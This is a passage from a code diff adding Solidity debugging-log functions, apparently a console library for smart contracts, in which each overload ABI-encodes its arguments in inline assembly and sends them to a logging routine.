+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,bool,string)`.
+            mstore(0x00, 0xd2d423cd)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,uint256,address)`.
+            mstore(0x00, 0x3b2279b4)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,uint256,bool)`.
+            mstore(0x00, 0x691a8f74)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(uint256,string,uint256,uint256)`.
+            mstore(0x00, 0x82c25b74)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,uint256,string)`.
+            mstore(0x00, 0xb7b914ca)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p1)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,string,address)`.
+            mstore(0x00, 0xd583c602)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,string,bool)`.
+            mstore(0x00, 0xb3a6b6bd)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(uint256,string,string,uint256)`.
+            mstore(0x00, 0xb028c9bd)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, p3)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(uint256 p0, bytes32 p1, bytes32 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        bytes32 m9;
+        bytes32 m10;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            m9 := mload(0x120)
+            m10 := mload(0x140)
+            // Selector of `log(uint256,string,string,string)`.
+            mstore(0x00, 0x21ad0683)
+            mstore(0x20, p0)
+            mstore(0x40, 0x80)
+            mstore(0x60, 0xc0)
+            mstore(0x80, 0x100)
+            writeString(0xa0, p1)
+            writeString(0xe0, p2)
+            writeString(0x120, p3)
+        }
+        _sendLogPayload(0x1c, 0x144);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+            mstore(0x120, m9)
+            mstore(0x140, m10)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,address,address)`.
+            mstore(0x00, 0xed8f28f6)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,address,bool)`.
+            mstore(0x00, 0xb59dbd60)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,address,uint256)`.
+            mstore(0x00, 0x8ef3f399)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, address p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,address,string)`.
+            mstore(0x00, 0x800a1c67)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,bool,address)`.
+            mstore(0x00, 0x223603bd)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,bool,bool)`.
+            mstore(0x00, 0x79884c2b)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,bool,uint256)`.
+            mstore(0x00, 0x3e9f866a)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bool p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,bool,string)`.
+            mstore(0x00, 0x0454c079)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,uint256,address)`.
+            mstore(0x00, 0x63fb8bc5)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, bool p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,uint256,bool)`.
+            mstore(0x00, 0xfc4845f0)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, uint256 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            // Selector of `log(string,address,uint256,uint256)`.
+            mstore(0x00, 0xf8f51b1e)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, p3)
+            writeString(0xa0, p0)
+        }
+        _sendLogPayload(0x1c, 0xc4);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+        }
+    }
+
+    function log(bytes32 p0, address p1, uint256 p2, bytes32 p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
+            m8 := mload(0x100)
+            // Selector of `log(string,address,uint256,string)`.
+            mstore(0x00, 0x5a477632)
+            mstore(0x20, 0x80)
+            mstore(0x40, p1)
+            mstore(0x60, p2)
+            mstore(0x80, 0xc0)
+            writeString(0xa0, p0)
+            writeString(0xe0, p3)
+        }
+        _sendLogPayload(0x1c, 0x104);
+        assembly {
+            mstore(0x00, m0)
+            mstore(0x20, m1)
+            mstore(0x40, m2)
+            mstore(0x60, m3)
+            mstore(0x80, m4)
+            mstore(0xa0, m5)
+            mstore(0xc0, m6)
+            mstore(0xe0, m7)
+            mstore(0x100, m8)
+        }
+    }
+
+    function log(bytes32 p0, address p1, bytes32 p2, address p3) internal pure {
+        bytes32 m0;
+        bytes32 m1;
+        bytes32 m2;
+        bytes32 m3;
+        bytes32 m4;
+        bytes32 m5;
+        bytes32 m6;
+        bytes32 m7;
+        bytes32 m8;
+        assembly {
+            function writeString(pos, w) {
+                let length := 0
+                for {
+
+                } lt(length, 0x20) {
+                    length := add(length, 1)
+                } {
+                    if iszero(byte(length, w)) {
+                        break
+                    }
+                }
+                mstore(pos, length)
+                let shift := sub(256, shl(3, length))
+                mstore(add(pos, 0x20), shl(shift, shr(shift, w)))
+            }
+            m0 := mload(0x00)
+            m1 := mload(0x20)
+            m2 := mload(0x40)
+            m3 := mload(0x60)
+            m4 := mload(0x80)
+            m5 := mload(0xa0)
+            m6 := mload(0xc0)
+            m7 := mload(0xe0)
